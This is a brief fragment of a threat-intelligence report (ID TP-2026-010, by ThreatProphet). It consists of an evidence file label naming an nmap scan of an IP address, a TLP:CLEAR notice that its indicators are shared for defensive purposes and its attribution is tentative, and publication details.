EX-019nmap_88.99.241.111.txt352a6bd5...

TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on TTP similarity and cross-campaign artifact continuity only. All IOCs are provided for defensive purposes.

Report ID: TP-2026-010 | Published: 2026-04-16 | Author: ThreatProphet